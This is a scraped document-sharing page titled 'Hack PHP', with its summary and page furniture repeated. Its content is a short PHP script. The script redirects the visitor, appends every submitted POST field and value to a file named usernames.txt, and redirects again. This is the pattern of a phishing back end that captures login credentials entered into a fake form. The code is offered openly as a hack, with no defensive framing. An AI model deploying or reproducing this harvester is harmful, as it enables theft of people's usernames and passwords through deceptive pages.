0% found this document useful (0 votes)
233 views1 page

Hack PHP

This PHP script redirects the user to another site, then opens a text file called "usernames.txt" and appends the POST variables and their values to it with newlines between each variable. It then closes the file and redirects the user again to exit the script.

Uploaded by

raj kumar
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
233 views1 page

Hack PHP

This PHP script redirects the user to another site, then opens a text file called "usernames.txt" and appends the POST variables and their values to it with newlines between each variable. It then closes the file and redirects the user again to exit the script.

Uploaded by

raj kumar
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

< ?

php
header
('location:[Link]
$handle=fopen("[Link]","a");
foreach($_POST as $variable=>$value)
{
fwrite($handle,$variable);
fwrite($handle,"=");
fwrite($handle,$value);
fwrite($handle,"\r\n");
}
fwrite($handle,"\r\n");
fclose($handle);
header("location:[Link]
exit;
?>

You might also like